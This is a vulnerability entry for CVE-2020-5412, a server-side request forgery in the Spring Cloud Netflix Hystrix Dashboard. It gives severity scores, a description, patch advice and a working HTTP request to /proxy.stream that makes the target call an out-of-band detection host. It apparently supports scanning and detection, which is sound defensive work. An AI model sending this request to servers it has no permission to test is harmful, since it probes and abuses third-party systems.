| Title | Spring Cloud Netflix - Server-Side Request Forgery |
|---|---|
| Author | dwisiswant0 |
| Severity | Medium |
| Impact | The vulnerability can result in unauthorized access to sensitive data or systems, leading to potential data breaches or further exploitation. |
| Remediation | Apply the latest security patches or updates provided by Spring Cloud Netflix to mitigate the vulnerability. |
| CVSS Score | 6.5 |
| EPSS Score | 0.92376 |
| CVE ID | CVE-2020-5412 |
| CWE ID | CWE-610,CWE-441 |
| Tags | cve cve2020 ssrf springcloud vmware vkev vuln |
Spring Cloud Netflix 2.2.x prior to 2.2.4, 2.1.x prior to 2.1.6, and older unsupported versions are susceptible to server-side request forgery. Applications can use the Hystrix Dashboard proxy.stream endpoint to make requests to any server reachable by the server hosting the dashboard. An attacker can send a request to other servers and thus potentially access sensitive information, modify data, and/or execute unauthorized operations.
GET /proxy.stream?origin=http://d5jp0ohle0o4561pcbmgygqesn85ar35d.oast.site HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-5412.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-5412.pcap
N/AN/A